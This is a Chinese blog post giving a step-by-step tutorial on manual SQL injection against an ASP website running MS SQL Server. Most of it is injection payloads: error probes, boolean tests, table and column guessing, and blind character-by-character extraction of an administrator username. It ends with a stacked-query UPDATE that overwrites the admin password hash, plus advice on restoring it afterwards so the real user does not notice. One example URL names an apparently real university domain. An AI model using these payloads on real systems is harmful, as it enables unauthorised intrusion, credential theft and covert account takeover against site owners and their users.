ITPub博客

首页 > 数据库 > SQL Server > 注入攻击MS SQL Server示例

注入攻击MS SQL Server示例

SQL Server 作者:卡卡妮 时间:2014-03-11 00:35:00 0 删除 编辑

SQL是英文Structured Query Language的缩写,意思为结构化查询语言。SQL语言的主要功能就是同各种数据库建立联系,进行沟通。按照ANSI(美国国家标准协会)的规定,SQL被作为关系型数据库管理系统的标准语言。SQL语句可以用来执行各种各样的操作,例如更新数据库中的数据,从数据库中提取数据等。目前,绝大多数流行的关系型数据库管理系统,如Oracle, Sybase, Microsoft SQL Server, Access等都采用了SQL语言标准。

工具/原料

  • Microsoft SQL Server 2005

方法/步骤

  1. 1

    要注入的网站如图6-1所示,由于只是为了介绍注入网站的方法,并未实质入侵该网站,同时也是为了对该网站保密,因此在后面的截图中隐藏了该网站的相关信息。

    图6-1显示的是要被注入网站的首页,将鼠标放在“我院召开‘平安奥运’工作部署会”上,在状态栏显示其URL是http://www.xxx.com.cn/detail.asp?productid=392。看到URL中有类似“detail.asp?productid”这样的信息,就可以猜测该网站是否存在注入漏洞了。

    第1步:加单引号。

    如图6.2所示是在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加一个单引号,按Enter键后,服务器返回的错误提示。

  2. 2

    第1步:加单引号。

    如图6.2所示是在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加一个单引号,按Enter键后,服务器返回的错误提示。

  3. 3

    第2步:测试“and 1=1”。如图6.3所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp? productid=392后面加“and 1=1”,按Enter键后,服务器返回到正常页面。

  4. 4

    第3步:测试“and 1=2”。如图6.4所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and 1=2”,按Enter键后,服务器返回错误提示。

  5. 5

    第4步:判断数据库类型。

    如图6.5所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and user>0”,按Enter键后,服务器返回错误提示,可知是SQL Server数据库。

  6. 6

    如果是SQL Server数据库,那么该网址显示的页面与“www.xxx.com.cn/detail.asp?productid=392”是一样的,如图6.6所示。

     

    使用下面的语句:

    http://www.xxx.com.cn/detail.asp?productid=392 and(select count(*) from msysobjects)>0

    如果是SQL Server数据库,由于找不到表msysobjects,服务器会返回错误提示“对象名'msysobjects'无效。”,如图6.7所示,如果Web程序有容错能力,那么服务器返回页面也与原页面不同。

     

    使用下面的语句:

    http://www.ahsdxy.ah.edu.cn/ReadNews.asp?NewsID=294and (select count(*) from msysobjects)>0,如图6.8所示,服务器会返回错误提示“不能读取记录;在'msysobjects'上没有读取数据权限。”,说明是SQL Server数据库。

     

    使用下面的语句:

    http://www.ahsdxy.ah.edu.cn/ReadNews.asp?NewsID=294and (select count(*) from sysobjects)>0,如图6.9所示,服务器会返回错误提示。

     

    第5步:猜测表名。图6.8和图6.9是基于www.xxx.ah.edu.cn网站进行的测试。

    如图6.10所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select count(*) fromadmin)>=0”,按Enter键后,服务器返回错误提示,说明不存在“admin”表。

  7. 7

    继续猜测表名,如图6.11所示,在http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select count(*) fromadminuser)>=0”,返回正常页面,说明存在“adminuser”表,猜测成功。

    注意,猜测表名时也可以使用如下形式:

    http://www.xxx.com.cn/detail.asp?productid=392and exists(select * from admin)

    http://www.xxx.com.cn/detail.asp?productid=392and exists(select * from adminuser)

     

    第6步:猜测字段名(用户名和密码字段)。

    猜出表名以后,将count(*)替换成count(字段名),用同样的方法猜解字段名。

    如图6.12所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and exists (select count(name)from adminuser)>=0”,按Enter键后,服务器返回错误提示,说明不存在“name”用户名字段。

  8. 8

    继续猜测用户名字段名,如图6.13所示,在http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select count(admin_name) from adminuser)>=0”,返回正常页面,说明存在“admin_name”用户名字段名,猜测成功。

     

     

    然后猜测密码字段名:

    假设http://www.xxx.com.cn/detail.asp?productid=392and (select count(admin_pwd) from adminuser)>=0返回正常页面,则密码字段猜测成功,密码字段名是“admin_pwd”。

     

     

    第7步:猜测用户名。已知表adminuser中存在admin_name字段,下面使用ASCII逐字解码法猜测用户名。

    首先,猜测用户名的长度。

    如图6.14所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select top 1len(admin_name) from adminuser)>11”,含义是取第一条记录,测试用户名长度,按Enter键后,返回正常页面,说明用户名的长度大于11。

  9. 9

    继续猜测用户名长度,如图6.15所示,在http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select top 1len(admin_name) from adminuser)>12”,返回错误页面,说明用户名的长度不大于12,所以用户名的长度是12。

  10. 10

    得到admin_name的长度以后,用unicode(substring(admin_name,N, 1))获得第N位字符的ASCII码,比如:

    (1)猜测第1个字符。

    如图6.16所示,从productid=392 and (select top 1unicode(substring(admin_name, 1, 1)) from adminuser)>0到productid=392 and (select top 1unicode(substring(admin_name, 1, 1)) from adminuser)>121显示正常;如图6.17所示,productid=392 and (select top 1unicode(substring(admin_name, 1, 1)) from adminuser)>122显示不正常,得第1个字符是“z”(查ASCII码字符表,字符z的十进制编码是122)。

  11. 11

    (2)猜测第2个字符。

    从productid=392and (select top 1 unicode(substring(admin_name, 2, 1)) from adminuser)>0到productid=392 and (select top 1unicode(substring(admin_name, 2, 1)) from adminuser)>103显示正常;productid=392 and (select top 1unicode(substring(admin_name, 2, 1)) from adminuser)>104显示不正常,得第2个字符是“h”(查ASCII码字符表,字符h的十进制编码是104)。

    (3)猜测第3个字符。

    从productid=392and (select top 1 unicode(substring(admin_name, 3, 1)) from adminuser)>0到productid=392 and (select top 1unicode(substring(admin_name, 3, 1)) from adminuser)>110显示正常;productid=392 and (select top 1unicode(substring(admin_name, 3, 1)) from adminuser)>111显示不正常,得第3个字符是“o”(查ASCII码字符表,字符o的十进制编码是111)。

    按照上述步骤猜测第4~12个字符,最终得到用户名是“zhoushanshan”。

     

    第8步:猜测用户密码。按照猜测用户名的方法猜测用户密码,一般情况下,密码是经MD5加密后存入表中的,如果成功,得到的也是加密后的密码,所以还要对密码进行破解。

    第9步:修改密码。如果破解密码的难度很大,那么可以修改已经猜测的用户名对应的密码,即

    http://www.xxx.com.cn/detail.asp?productid=392;

    update adminuser set admin_pwd =' a0b923820dcc509a'where admin_name='zhoushanshan';--

    “a0b923820dcc509a”是1的MD5值,即把密码改成1,zhoushanshan为已猜测的用户名,可以用同样的方法把密码改为原来的值,目的是为了不让真实的zhoushanshan用户发现系统被入侵了。

    END

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/22592350/viewspace-1108890/,如需转载,请注明出处,否则将追究法律责任。

上一篇: 没有了~
下一篇: 没有了~
请登录后发表评论 登录
全部评论

注册时间:2009-09-24